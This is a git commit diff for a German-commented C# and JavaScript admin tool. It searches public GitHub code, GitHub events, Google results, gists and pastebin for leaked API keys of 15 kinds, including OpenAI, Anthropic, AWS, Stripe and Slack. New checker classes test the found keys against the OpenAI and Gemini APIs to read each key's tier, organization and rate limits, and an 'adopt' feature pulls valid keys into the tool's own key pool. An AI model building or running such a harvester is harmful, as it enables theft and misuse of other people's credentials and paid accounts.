Multi-Provider Key Scanner + Checker (OpenAI, Google, 15 Key-Typen)

- KeyPatterns.cs: Zentrale Pattern-Klasse für 15 Key-Typen
  (Anthropic, OpenAI, Google, AWS, GitHub, GitLab, HuggingFace, Stripe, SendGrid, Slack)
- OpenAiKeyChecker.cs: Prüft sk-proj/sk-svcacct/sk- Keys via /v1/models
  (Org, Modelle, RPM/TPM, Tier-Erkennung Free bis 5+)
- GoogleKeyChecker.cs: Prüft AIza-Keys via Gemini /v1/models
  (Gemini-Modelle, Maps-Key-Erkennung)
- KeyScannerService + GitHubEventScannerService: Dispatch nach Key-Typ
- ApiKeysEndpoint: GET /scanned/summary + ?type= Filter
- Frontend: 2-stufige UI (Typ-Übersicht → Keys pro Typ)
This commit is contained in:
Meleki committed 2026-03-13 20:43:20 +01:00
1 parent eb8844a4f1
commit c8859a89d0
9 files changed
+529 -45

No files matched your search

+14 -1
View File
@@ -29,6 +29,7 @@ public static class ApiKeysEndpoint
app.MapPost("/api/admin/api-keys/scan", HandleScanTrigger); app.MapPost("/api/admin/api-keys/scan", HandleScanTrigger);
app.MapGet("/api/admin/api-keys/scan/status", HandleScanStatus); app.MapGet("/api/admin/api-keys/scan/status", HandleScanStatus);
app.MapGet("/api/admin/api-keys/scanned", HandleGetScanned); app.MapGet("/api/admin/api-keys/scanned", HandleGetScanned);
app.MapGet("/api/admin/api-keys/scanned/summary", HandleGetScannedSummary);
app.MapPost("/api/admin/api-keys/scanned/recheck-all", HandleRecheckAll); app.MapPost("/api/admin/api-keys/scanned/recheck-all", HandleRecheckAll);
app.MapPost("/api/admin/api-keys/scanned/{id}/recheck", HandleRecheck); app.MapPost("/api/admin/api-keys/scanned/{id}/recheck", HandleRecheck);
app.MapPost("/api/admin/api-keys/scanned/{id}/adopt", HandleAdopt); app.MapPost("/api/admin/api-keys/scanned/{id}/adopt", HandleAdopt);
@@ -261,7 +262,11 @@ public static class ApiKeysEndpoint
{ {
if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return; } if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return; }
var keys = await db.GetScannedKeys(); var type = ctx.Request.Query["type"].FirstOrDefault();
var keys = string.IsNullOrEmpty(type)
? await db.GetScannedKeys()
: await db.GetScannedKeysByType(type);
var result = keys.Select(k => new var result = keys.Select(k => new
{ {
k.ScannedKeyId, k.ScannedKeyId,
@@ -279,6 +284,14 @@ public static class ApiKeysEndpoint
await ctx.Response.WriteAsJsonAsync(result); await ctx.Response.WriteAsJsonAsync(result);
} }
private static async Task HandleGetScannedSummary(HttpContext ctx, DatabaseService db)
{
if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return; }
var summary = await db.GetScannedKeysSummary();
await ctx.Response.WriteAsJsonAsync(summary);
}
private static async Task HandleRecheckAll(HttpContext ctx, DatabaseService db, KeyScannerService scanner) private static async Task HandleRecheckAll(HttpContext ctx, DatabaseService db, KeyScannerService scanner)
{ {
if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return; } if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return; }
+22
View File
@@ -475,6 +475,28 @@ public partial class DatabaseService
"SELECT * FROM scanned_keys WHERE deleted = 0 ORDER BY scanned_at DESC"); "SELECT * FROM scanned_keys WHERE deleted = 0 ORDER BY scanned_at DESC");
} }
public async Task<IEnumerable<ScannedKeyRecord>> GetScannedKeysByType(string type)
{
using var conn = CreateConnection();
return await conn.QueryAsync<ScannedKeyRecord>(
"SELECT * FROM scanned_keys WHERE deleted = 0 AND type = @type ORDER BY scanned_at DESC",
new { type });
}
public async Task<IEnumerable<dynamic>> GetScannedKeysSummary()
{
using var conn = CreateConnection();
return await conn.QueryAsync(
@"SELECT type,
COUNT(*) as total,
SUM(CASE WHEN adopted_api_key_id IS NOT NULL THEN 1 ELSE 0 END) as adopted,
SUM(CASE WHEN status = 'valid' AND adopted_api_key_id IS NULL THEN 1 ELSE 0 END) as valid,
SUM(CASE WHEN status = 'invalid' THEN 1 ELSE 0 END) as invalid,
SUM(CASE WHEN status = 'unchecked' THEN 1 ELSE 0 END) as unchecked
FROM scanned_keys WHERE deleted = 0
GROUP BY type ORDER BY total DESC");
}
public async Task<ScannedKeyRecord> GetScannedKey(string scannedKeyId) public async Task<ScannedKeyRecord> GetScannedKey(string scannedKeyId)
{ {
using var conn = CreateConnection(); using var conn = CreateConnection();
+21 -16
View File
@@ -31,15 +31,8 @@ public class GitHubEventScannerService : BackgroundService
private const int MaxDiffSizeBytes = 100_000; // Diffs > 100KB überspringen private const int MaxDiffSizeBytes = 100_000; // Diffs > 100KB überspringen
private const int MaxProcessedIds = 10_000; // Ringbuffer für Event-Dedup private const int MaxProcessedIds = 10_000; // Ringbuffer für Event-Dedup
// Gleiche Key-Patterns wie KeyScannerService // Zentrale Key-Patterns aus KeyPatterns.cs
private static readonly (string Pattern, string SearchTerm)[] KeyPatterns = private static readonly Regex[] CompiledPatterns = KeyPatterns.Compiled;
{
(@"sk-ant-oat01-[A-Za-z0-9_\-]{95}", "sk-ant-oat01"),
};
private static readonly Regex[] CompiledPatterns = KeyPatterns
.Select(p => new Regex(p.Pattern, RegexOptions.Compiled))
.ToArray();
// Deduplication Ringbuffer // Deduplication Ringbuffer
private readonly HashSet<string> _processedEventIds = new(); private readonly HashSet<string> _processedEventIds = new();
@@ -386,14 +379,32 @@ public class GitHubEventScannerService : BackgroundService
foreach (var sk in unchecked_) foreach (var sk in unchecked_)
{ {
ct.ThrowIfCancellationRequested(); ct.ThrowIfCancellationRequested();
var type = KeyPatterns.DetectType(sk.ApiKey);
try try
{
if (KeyPatterns.IsAnthropic(type))
{ {
var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey); var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status; var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h); await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h);
_logger.LogInformation("Key geprüft: {Status} ({Plan})", status, result.Plan); _logger.LogInformation("Key geprüft: {Status} ({Plan})", status, result.Plan);
} }
else if (type == "openai_project" || type == "openai_service" || type == "openai_legacy")
{
var result = await OpenAiKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = result.Status == "ok" ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
_logger.LogInformation("OpenAI Key geprüft: {Status}", status);
}
else if (type == "google_api")
{
var result = await GoogleKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = result.Status == "ok" ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
_logger.LogInformation("Google Key geprüft: {Status}", status);
}
}
catch (Exception ex) catch (Exception ex)
{ {
_logger.LogWarning("Key-Check fehlgeschlagen: {Msg}", ex.Message); _logger.LogWarning("Key-Check fehlgeschlagen: {Msg}", ex.Message);
@@ -443,13 +454,7 @@ public class GitHubEventScannerService : BackgroundService
return client; return client;
} }
private static string DetectKeyType(string key) private static string DetectKeyType(string key) => KeyPatterns.DetectType(key);
{
if (key.StartsWith("sk-ant-oat01-", StringComparison.Ordinal)) return "anthropic_oauth";
if (key.StartsWith("sk-ant-api03-", StringComparison.Ordinal)) return "anthropic_api";
if (key.StartsWith("sk-ant-", StringComparison.Ordinal)) return "anthropic_unknown";
return "unknown";
}
// ── Interne Datenstrukturen ── // ── Interne Datenstrukturen ──
+93
View File
@@ -0,0 +1,93 @@
using System;
using System.Linq;
using System.Net.Http;
using System.Text.Json;
using System.Threading.Tasks;
namespace Gott.Services
{
public class GoogleCheckResult
{
public string Status { get; set; } // "ok", "invalid", "disabled", "error"
public string Message { get; set; }
public string[] Models { get; set; }
}
public static class GoogleKeyChecker
{
public static async Task<GoogleCheckResult> CheckKeyAsync(IHttpClientFactory httpFactory, string apiKey)
{
try
{
var client = httpFactory.CreateClient();
client.Timeout = TimeSpan.FromSeconds(30);
// Gemini / Generative Language API – listet verfügbare Modelle
var url = "https://generativelanguage.googleapis.com/v1/models?key=" + apiKey;
var resp = await client.GetAsync(url);
var statusCode = (int)resp.StatusCode;
if (statusCode == 400)
return new GoogleCheckResult { Status = "invalid", Message = "API-Key ungültig (400)" };
if (statusCode == 403)
{
// Key gültig, aber Gemini API nicht aktiviert (z.B. Maps-Key)
var errorBody = await resp.Content.ReadAsStringAsync();
if (errorBody.Contains("API_KEY_INVALID", StringComparison.OrdinalIgnoreCase))
return new GoogleCheckResult { Status = "invalid", Message = "API-Key ungültig (403)" };
return new GoogleCheckResult { Status = "disabled", Message = "Key gültig, aber Gemini API nicht aktiviert (403)" };
}
if (statusCode == 429)
return new GoogleCheckResult { Status = "rate_limited", Message = "Rate Limited (429)" };
if (statusCode >= 400)
return new GoogleCheckResult { Status = "error", Message = "API-Fehler (" + statusCode + ")" };
// 200 OK → Key gültig + Gemini API aktiv
var body = await resp.Content.ReadAsStringAsync();
var doc = JsonDocument.Parse(body);
string[] models = Array.Empty<string>();
if (doc.RootElement.TryGetProperty("models", out var modelsArr))
{
var interestingPrefixes = new[] { "gemini" };
models = modelsArr.EnumerateArray()
.Where(m => m.TryGetProperty("name", out _))
.Select(m => m.GetProperty("name").GetString())
.Where(n => n != null)
.Select(n => n.StartsWith("models/", StringComparison.Ordinal) ? n.Substring(7) : n)
.Where(n => interestingPrefixes.Any(p => n.StartsWith(p, StringComparison.OrdinalIgnoreCase)))
.Distinct()
.OrderBy(x => x)
.ToArray();
}
// Plan-Erkennung
string plan;
if (models.Any(m => m.Contains("2.5", StringComparison.OrdinalIgnoreCase)
|| m.Contains("ultra", StringComparison.OrdinalIgnoreCase)))
plan = "Premium";
else if (models.Any(m => m.Contains("pro", StringComparison.OrdinalIgnoreCase)))
plan = "Standard";
else if (models.Any(m => m.Contains("flash", StringComparison.OrdinalIgnoreCase)))
plan = "Basic";
else
plan = "Free";
return new GoogleCheckResult
{
Status = "ok",
Message = models.Length + " Gemini-Modelle · " + plan,
Models = models
};
}
catch (Exception ex)
{
return new GoogleCheckResult { Status = "error", Message = ex.Message };
}
}
}
}
+120
View File
@@ -0,0 +1,120 @@
using System;
using System.Linq;
using System.Text.RegularExpressions;
namespace Gott.Services;
/// <summary>
/// Zentrale Definition aller Key-Patterns für den Secret Scanner.
/// Wird von KeyScannerService und GitHubEventScannerService gemeinsam genutzt.
/// </summary>
public static class KeyPatterns
{
// ── Pattern-Definitionen ──
// (Regex-Pattern, Suchbegriff für GitHub Code Search / Serper, Key-Typ)
public static readonly (string Pattern, string SearchTerm, string Type)[] All =
{
// Anthropic
(@"sk-ant-oat01-[A-Za-z0-9_\-]{95}", "sk-ant-oat01", "anthropic_oauth"),
(@"sk-ant-api03-[A-Za-z0-9_\-]{95}", "sk-ant-api03", "anthropic_api"),
// OpenAI
(@"sk-proj-[A-Za-z0-9_\-]{80,200}", "sk-proj-", "openai_project"),
(@"sk-svcacct-[A-Za-z0-9_\-]{80,200}", "sk-svcacct-", "openai_service"),
(@"sk-[A-Za-z0-9]{48}", "sk-", "openai_legacy"),
// Google / Gemini
(@"AIza[0-9A-Za-z_\-]{35}", "AIzaSy", "google_api"),
// AWS
(@"AKIA[0-9A-Z]{16}", "AKIA", "aws_access_key"),
// GitHub
(@"ghp_[A-Za-z0-9]{36}", "ghp_", "github_pat"),
(@"gho_[A-Za-z0-9]{36}", "gho_", "github_oauth"),
// GitLab
(@"glpat-[A-Za-z0-9_\-]{20}", "glpat-", "gitlab_pat"),
// HuggingFace
(@"hf_[A-Za-z0-9]{34}", "hf_", "huggingface"),
// Stripe
(@"sk_live_[0-9a-zA-Z]{24,}", "sk_live_", "stripe_live"),
(@"sk_test_[0-9a-zA-Z]{24,}", "sk_test_", "stripe_test"),
// SendGrid
(@"SG\.[A-Za-z0-9_\-]{22}\.[A-Za-z0-9_\-]{43}", "SG.", "sendgrid"),
// Slack (xoxb ist häufigster Typ)
(@"xoxb-[0-9]{10,13}-[A-Za-z0-9\-]{20,}", "xoxb-", "slack"),
};
/// <summary>
/// Patterns die für GitHub Code Search / Serper geeignet sind.
/// Filtert zu generische Suchterme aus (z.B. "sk-", "SG.", "SK").
/// </summary>
public static readonly (string Pattern, string SearchTerm, string Type)[] ForCodeSearch =
All.Where(p => p.SearchTerm.Length >= 5).ToArray();
// ── Kompilierte Regexe (einmalig, alle Patterns) ──
public static readonly Regex[] Compiled = All
.Select(p => new Regex(p.Pattern, RegexOptions.Compiled))
.ToArray();
/// <summary>Erkennt den Key-Typ anhand des Prefixes.</summary>
public static string DetectType(string key)
{
// Spezifischere Patterns zuerst prüfen (Reihenfolge wichtig!)
if (key.StartsWith("sk-ant-oat01-", StringComparison.Ordinal)) return "anthropic_oauth";
if (key.StartsWith("sk-ant-api03-", StringComparison.Ordinal)) return "anthropic_api";
if (key.StartsWith("sk-ant-", StringComparison.Ordinal)) return "anthropic_unknown";
if (key.StartsWith("sk-proj-", StringComparison.Ordinal)) return "openai_project";
if (key.StartsWith("sk-svcacct-", StringComparison.Ordinal)) return "openai_service";
if (key.StartsWith("sk_live_", StringComparison.Ordinal)) return "stripe_live";
if (key.StartsWith("sk_test_", StringComparison.Ordinal)) return "stripe_test";
if (key.StartsWith("sk-", StringComparison.Ordinal)) return "openai_legacy";
if (key.StartsWith("AIza", StringComparison.Ordinal)) return "google_api";
if (key.StartsWith("AKIA", StringComparison.Ordinal)) return "aws_access_key";
if (key.StartsWith("ghp_", StringComparison.Ordinal)) return "github_pat";
if (key.StartsWith("gho_", StringComparison.Ordinal)) return "github_oauth";
if (key.StartsWith("glpat-", StringComparison.Ordinal)) return "gitlab_pat";
if (key.StartsWith("hf_", StringComparison.Ordinal)) return "huggingface";
if (key.StartsWith("SG.", StringComparison.Ordinal)) return "sendgrid";
if (key.StartsWith("xoxb-", StringComparison.Ordinal)) return "slack";
return "unknown";
}
/// <summary>Prüft ob ein Key-Typ zu Anthropic gehört (für automatische Validierung).</summary>
public static bool IsAnthropic(string type)
{
return type == "anthropic_oauth" || type == "anthropic_api" || type == "anthropic_unknown";
}
/// <summary>Menschenlesbarer Name für den Key-Typ.</summary>
public static string DisplayName(string type)
{
return type switch
{
"anthropic_oauth" => "Anthropic OAuth",
"anthropic_api" => "Anthropic API",
"anthropic_unknown" => "Anthropic",
"openai_project" => "OpenAI Project",
"openai_service" => "OpenAI Service",
"openai_legacy" => "OpenAI Legacy",
"google_api" => "Google / Gemini",
"aws_access_key" => "AWS Access Key",
"github_pat" => "GitHub PAT",
"github_oauth" => "GitHub OAuth",
"gitlab_pat" => "GitLab PAT",
"huggingface" => "HuggingFace",
"stripe_live" => "Stripe Live",
"stripe_test" => "Stripe Test",
"sendgrid" => "SendGrid",
"slack" => "Slack",
_ => type
};
}
}
+31 -15
View File
@@ -38,10 +38,10 @@ public class KeyScannerService : BackgroundService
// ── GitHub Search Config ── // ── GitHub Search Config ──
private static readonly (string Pattern, string SearchTerm)[] KeyPatterns = // Zentrale Key-Patterns aus KeyPatterns.cs (für Code Search: nur spezifische Suchterme)
{ private static readonly (string Pattern, string SearchTerm, string Type)[] SearchPatterns = KeyPatterns.ForCodeSearch;
(@"sk-ant-oat01-[A-Za-z0-9_\-]{95}", "sk-ant-oat01"), // Alle Patterns für Regex-Matching im Dateiinhalt
}; private static readonly Regex[] AllCompiledPatterns = KeyPatterns.Compiled;
private static readonly string[] SearchLanguages = private static readonly string[] SearchLanguages =
{ {
@@ -249,7 +249,7 @@ public class KeyScannerService : BackgroundService
var allKeys = new Dictionary<string, string>(StringComparer.Ordinal); var allKeys = new Dictionary<string, string>(StringComparer.Ordinal);
var queries = new List<(string Query, Regex Regex)>(); var queries = new List<(string Query, Regex Regex)>();
foreach (var (pattern, searchTerm) in KeyPatterns) foreach (var (pattern, searchTerm, _) in SearchPatterns)
{ {
var regex = new Regex(pattern, RegexOptions.Compiled); var regex = new Regex(pattern, RegexOptions.Compiled);
foreach (var lang in QuickLanguages) foreach (var lang in QuickLanguages)
@@ -440,7 +440,7 @@ public class KeyScannerService : BackgroundService
private static List<(string Query, Regex Regex)> BuildSearchQueries() private static List<(string Query, Regex Regex)> BuildSearchQueries()
{ {
var queries = new List<(string, Regex)>(); var queries = new List<(string, Regex)>();
foreach (var (pattern, searchTerm) in KeyPatterns) foreach (var (pattern, searchTerm, _) in SearchPatterns)
{ {
var regex = new Regex(pattern, RegexOptions.Compiled); var regex = new Regex(pattern, RegexOptions.Compiled);
foreach (var lang in SearchLanguages) foreach (var lang in SearchLanguages)
@@ -470,7 +470,7 @@ public class KeyScannerService : BackgroundService
var client = _httpFactory.CreateClient(); var client = _httpFactory.CreateClient();
client.DefaultRequestHeaders.Add("X-API-KEY", _serperApiKey); client.DefaultRequestHeaders.Add("X-API-KEY", _serperApiKey);
foreach (var (pattern, searchTerm) in KeyPatterns) foreach (var (pattern, searchTerm, _) in SearchPatterns)
{ {
ct.ThrowIfCancellationRequested(); ct.ThrowIfCancellationRequested();
var regex = new Regex(pattern, RegexOptions.Compiled); var regex = new Regex(pattern, RegexOptions.Compiled);
@@ -519,16 +519,38 @@ public class KeyScannerService : BackgroundService
return allKeys.Select(kv => (kv.Key, kv.Value)).ToList(); return allKeys.Select(kv => (kv.Key, kv.Value)).ToList();
} }
// ── Anthropic Key Check (via shared AnthropicKeyChecker) ── // ── Key Check ──
public async Task CheckAndUpdateKey(ScannedKeyRecord sk) public async Task CheckAndUpdateKey(ScannedKeyRecord sk)
{ {
var type = KeyPatterns.DetectType(sk.ApiKey);
try try
{
if (KeyPatterns.IsAnthropic(type))
{ {
var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey); var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status; var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h); await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h);
} }
else if (type == "openai_project" || type == "openai_service" || type == "openai_legacy")
{
var result = await OpenAiKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = result.Status == "ok" ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
}
else if (type == "google_api")
{
var result = await GoogleKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = result.Status == "ok" ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
}
else
{
// Andere Key-Typen: Typ korrekt setzen, kein Check möglich
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, "unchecked", type, null, null);
}
}
catch (Exception ex) catch (Exception ex)
{ {
_logger.LogWarning("Key-Check fehlgeschlagen für {Id}: {Msg}", sk.ScannedKeyId, ex.Message); _logger.LogWarning("Key-Check fehlgeschlagen für {Id}: {Msg}", sk.ScannedKeyId, ex.Message);
@@ -536,11 +558,5 @@ public class KeyScannerService : BackgroundService
} }
} }
private static string DetectKeyType(string key) private static string DetectKeyType(string key) => KeyPatterns.DetectType(key);
{
if (key.StartsWith("sk-ant-oat01-", StringComparison.Ordinal)) return "anthropic_oauth";
if (key.StartsWith("sk-ant-api03-", StringComparison.Ordinal)) return "anthropic_api";
if (key.StartsWith("sk-ant-", StringComparison.Ordinal)) return "anthropic_unknown";
return "unknown";
}
} }
+115
View File
@@ -0,0 +1,115 @@
using System;
using System.Linq;
using System.Net.Http;
using System.Net.Http.Headers;
using System.Text.Json;
using System.Threading.Tasks;
namespace Gott.Services
{
public class OpenAiCheckResult
{
public string Status { get; set; } // "ok", "invalid", "rate_limited", "quota_exceeded", "error"
public string Message { get; set; }
public string Organization { get; set; }
public string[] Models { get; set; }
public int? RateLimitRpm { get; set; }
public int? RateLimitTpm { get; set; }
}
public static class OpenAiKeyChecker
{
public static async Task<OpenAiCheckResult> CheckKeyAsync(IHttpClientFactory httpFactory, string apiKey)
{
try
{
var client = httpFactory.CreateClient();
client.Timeout = TimeSpan.FromSeconds(30);
var request = new HttpRequestMessage(HttpMethod.Get, "https://api.openai.com/v1/models");
request.Headers.Authorization = new AuthenticationHeaderValue("Bearer", apiKey);
var resp = await client.SendAsync(request);
var statusCode = (int)resp.StatusCode;
if (statusCode == 401)
return new OpenAiCheckResult { Status = "invalid", Message = "Ungültig oder abgelaufen (401)" };
if (statusCode == 403)
return new OpenAiCheckResult { Status = "quota_exceeded", Message = "Keine Berechtigung / Quota erschöpft (403)" };
if (statusCode == 429)
{
// Rate-Limited → Key existiert, ist aber gerade nicht nutzbar
return new OpenAiCheckResult { Status = "rate_limited", Message = "Rate Limited (429)" };
}
if (statusCode >= 400)
return new OpenAiCheckResult { Status = "error", Message = "API-Fehler (" + statusCode + ")" };
// 200 OK → Key ist gültig
var body = await resp.Content.ReadAsStringAsync();
var doc = JsonDocument.Parse(body);
// Organisation aus Header
string org = null;
if (resp.Headers.TryGetValues("openai-organization", out var orgValues))
org = orgValues.FirstOrDefault();
// Rate-Limits aus Headern
int? rpm = null;
int? tpm = null;
if (resp.Headers.TryGetValues("x-ratelimit-limit-requests", out var rpmVals)
&& int.TryParse(rpmVals.FirstOrDefault(), out var rpmVal))
rpm = rpmVal;
if (resp.Headers.TryGetValues("x-ratelimit-limit-tokens", out var tpmVals)
&& int.TryParse(tpmVals.FirstOrDefault(), out var tpmVal))
tpm = tpmVal;
// Modell-Liste extrahieren (nur die interessantesten)
string[] models = Array.Empty<string>();
if (doc.RootElement.TryGetProperty("data", out var data))
{
var interestingPrefixes = new[] { "gpt-4", "gpt-3.5", "o1", "o3", "o4" };
models = data.EnumerateArray()
.Select(m => m.GetProperty("id").GetString())
.Where(id => interestingPrefixes.Any(p => id.StartsWith(p, StringComparison.OrdinalIgnoreCase)))
.Distinct()
.OrderBy(x => x)
.ToArray();
}
// Plan-Erkennung anhand der Modelle
string plan;
if (models.Any(m => m.StartsWith("o3", StringComparison.OrdinalIgnoreCase)
|| m.StartsWith("o4", StringComparison.OrdinalIgnoreCase)))
plan = "Tier 5+";
else if (models.Any(m => m.StartsWith("gpt-4o", StringComparison.OrdinalIgnoreCase)))
plan = "Tier 3+";
else if (models.Any(m => m.StartsWith("gpt-4", StringComparison.OrdinalIgnoreCase)))
plan = "Tier 2+";
else if (models.Any(m => m.StartsWith("gpt-3.5", StringComparison.OrdinalIgnoreCase)))
plan = "Tier 1";
else
plan = "Free";
var msg = plan + " · Org: " + (org ?? "?") + " · " + models.Length + " Modelle";
if (rpm.HasValue) msg += " · " + rpm.Value + " RPM";
return new OpenAiCheckResult
{
Status = "ok",
Message = msg,
Organization = org,
Models = models,
RateLimitRpm = rpm,
RateLimitTpm = tpm
};
}
catch (Exception ex)
{
return new OpenAiCheckResult { Status = "error", Message = ex.Message };
}
}
}
}
+2 -1
View File
@@ -234,7 +234,8 @@ function apiCheckAllApiKeys() { return _post('/api/admin/api-keys/check-all', un
function apiTriggerScan(mode) { return _post('/api/admin/api-keys/scan?mode=' + (mode || 'full'), undefined, 'Fehler beim Starten des Scans'); } function apiTriggerScan(mode) { return _post('/api/admin/api-keys/scan?mode=' + (mode || 'full'), undefined, 'Fehler beim Starten des Scans'); }
function apiScanStatus() { return _get('/api/admin/api-keys/scan/status', {}); } function apiScanStatus() { return _get('/api/admin/api-keys/scan/status', {}); }
function apiGetScannedKeys() { return _get('/api/admin/api-keys/scanned', []); } function apiGetScannedKeys(type) { return _get('/api/admin/api-keys/scanned' + (type ? '?type=' + encodeURIComponent(type) : ''), []); }
function apiGetScannedKeysSummary() { return _get('/api/admin/api-keys/scanned/summary', []); }
function apiRecheckAllScannedKeys() { return _post('/api/admin/api-keys/scanned/recheck-all', undefined, 'Fehler beim Prüfen'); } function apiRecheckAllScannedKeys() { return _post('/api/admin/api-keys/scanned/recheck-all', undefined, 'Fehler beim Prüfen'); }
function apiRecheckScannedKey(id) { return _post('/api/admin/api-keys/scanned/' + id + '/recheck', undefined, 'Fehler beim Prüfen'); } function apiRecheckScannedKey(id) { return _post('/api/admin/api-keys/scanned/' + id + '/recheck', undefined, 'Fehler beim Prüfen'); }
function apiAdoptScannedKey(id) { return _post('/api/admin/api-keys/scanned/' + id + '/adopt', undefined, 'Fehler beim Übernehmen'); } function apiAdoptScannedKey(id) { return _post('/api/admin/api-keys/scanned/' + id + '/adopt', undefined, 'Fehler beim Übernehmen'); }
+111 -12
View File
@@ -323,16 +323,97 @@ registerPage('api-keys', {
var scanStatusEl = document.getElementById('scanStatus'); var scanStatusEl = document.getElementById('scanStatus');
var scannedList = document.getElementById('scannedKeysList'); var scannedList = document.getElementById('scannedKeysList');
var scannedKeys = []; var scannedKeys = [];
var selectedType = null;
var pollTimer = null; var pollTimer = null;
var typeNames = {
anthropic_oauth: 'Anthropic OAuth', anthropic_api: 'Anthropic API', anthropic_unknown: 'Anthropic',
openai_project: 'OpenAI Project', openai_service: 'OpenAI Service', openai_legacy: 'OpenAI Legacy',
google_api: 'Google / Gemini', aws_access_key: 'AWS Access Key',
github_pat: 'GitHub PAT', github_oauth: 'GitHub OAuth', gitlab_pat: 'GitLab PAT',
huggingface: 'HuggingFace', stripe_live: 'Stripe Live', stripe_test: 'Stripe Test',
sendgrid: 'SendGrid', slack: 'Slack'
};
var typeIcons = {
anthropic_oauth: '🟠', anthropic_api: '🟠', anthropic_unknown: '🟠',
openai_project: '🟢', openai_service: '🟢', openai_legacy: '🟢',
google_api: '🔵', aws_access_key: '🟡',
github_pat: '⚫', github_oauth: '⚫', gitlab_pat: '🟤',
huggingface: '🤗', stripe_live: '💳', stripe_test: '💳',
sendgrid: '📧', slack: '💬'
};
function renderSummary(summary) {
scannedList.innerHTML = '';
if (!summary || summary.length === 0) {
var empty = document.createElement('div');
empty.className = 'admin-user-meta';
empty.style.padding = '1rem 0';
empty.textContent = 'Keine gescannten Keys vorhanden.';
scannedList.appendChild(empty);
return;
}
summary.forEach(function(s) {
var row = document.createElement('div');
row.className = 'admin-user-row';
row.style.cursor = 'pointer';
var info = document.createElement('div');
info.className = 'admin-user-info';
var nameSpan = document.createElement('span');
nameSpan.className = 'admin-user-name';
var icon = typeIcons[s.type] || '🔑';
nameSpan.textContent = icon + ' ' + (typeNames[s.type] || s.type);
info.appendChild(nameSpan);
var metaSpan = document.createElement('span');
metaSpan.className = 'admin-user-meta';
var parts = [s.total + ' Keys'];
if (s.valid > 0) parts.push('✅ ' + s.valid + ' gültig');
if (s.invalid > 0) parts.push('❌ ' + s.invalid + ' ungültig');
if (s.unchecked > 0) parts.push('⏳ ' + s.unchecked + ' ungeprüft');
if (s.adopted > 0) parts.push('📌 ' + s.adopted + ' übernommen');
metaSpan.textContent = parts.join(' · ');
info.appendChild(metaSpan);
var badge = document.createElement('div');
badge.className = 'admin-user-actions';
badge.innerHTML = '<i class="fa fa-chevron-right" style="opacity:.5"></i>';
row.appendChild(info);
row.appendChild(badge);
row.addEventListener('click', function() { loadScannedKeysByType(s.type); });
scannedList.appendChild(row);
});
}
function renderScannedKeys() { function renderScannedKeys() {
scannedList.innerHTML = ''; scannedList.innerHTML = '';
// Zurück-Button
var backRow = document.createElement('div');
backRow.className = 'admin-user-row';
backRow.style.cursor = 'pointer';
backRow.style.opacity = '.7';
var backInfo = document.createElement('div');
backInfo.className = 'admin-user-info';
var backName = document.createElement('span');
backName.className = 'admin-user-name';
backName.innerHTML = '<i class="fa fa-arrow-left"></i> Zurück zur Übersicht';
backInfo.appendChild(backName);
backRow.appendChild(backInfo);
backRow.addEventListener('click', function() { selectedType = null; loadSummary(); });
scannedList.appendChild(backRow);
var visibleKeys = scannedKeys.filter(function(sk) { return sk.adoptedApiKeyId == null; }); var visibleKeys = scannedKeys.filter(function(sk) { return sk.adoptedApiKeyId == null; });
if (visibleKeys.length === 0) { if (visibleKeys.length === 0) {
var empty = document.createElement('div'); var empty = document.createElement('div');
empty.className = 'admin-user-meta'; empty.className = 'admin-user-meta';
empty.style.padding = '1rem 0'; empty.style.padding = '1rem 0';
empty.textContent = 'Keine gescannten Keys vorhanden.'; empty.textContent = 'Keine nicht-übernommenen Keys in dieser Kategorie.';
scannedList.appendChild(empty); scannedList.appendChild(empty);
return; return;
} }
@@ -361,10 +442,8 @@ registerPage('api-keys', {
var metaSpan = document.createElement('span'); var metaSpan = document.createElement('span');
metaSpan.className = 'admin-user-meta'; metaSpan.className = 'admin-user-meta';
var metaParts = []; var metaParts = [];
var sourceIcons = { github: '🐙 GitHub', serper: '🔍 Google', gist: '📋 Gist', pastebin: '📄 Pastebin' }; var sourceIcons = { github: '🐙 GitHub', serper: '🔍 Google', gist: '📋 Gist', pastebin: '📄 Pastebin', github_events: '📡 Events' };
metaParts.push(sourceIcons[sk.source] || sk.source || 'github'); metaParts.push(sourceIcons[sk.source] || sk.source || 'github');
var typeLabels = { anthropic_oauth: 'OAuth', anthropic_api: 'API', anthropic_unknown: 'Anthropic', unknown: '?' };
metaParts.push(typeLabels[sk.type] || sk.type || '?');
metaParts.push(formatKeyStatus(sk.status)); metaParts.push(formatKeyStatus(sk.status));
if (sk.plan && sk.plan !== 'Unknown') metaParts.push(sk.plan); if (sk.plan && sk.plan !== 'Unknown') metaParts.push(sk.plan);
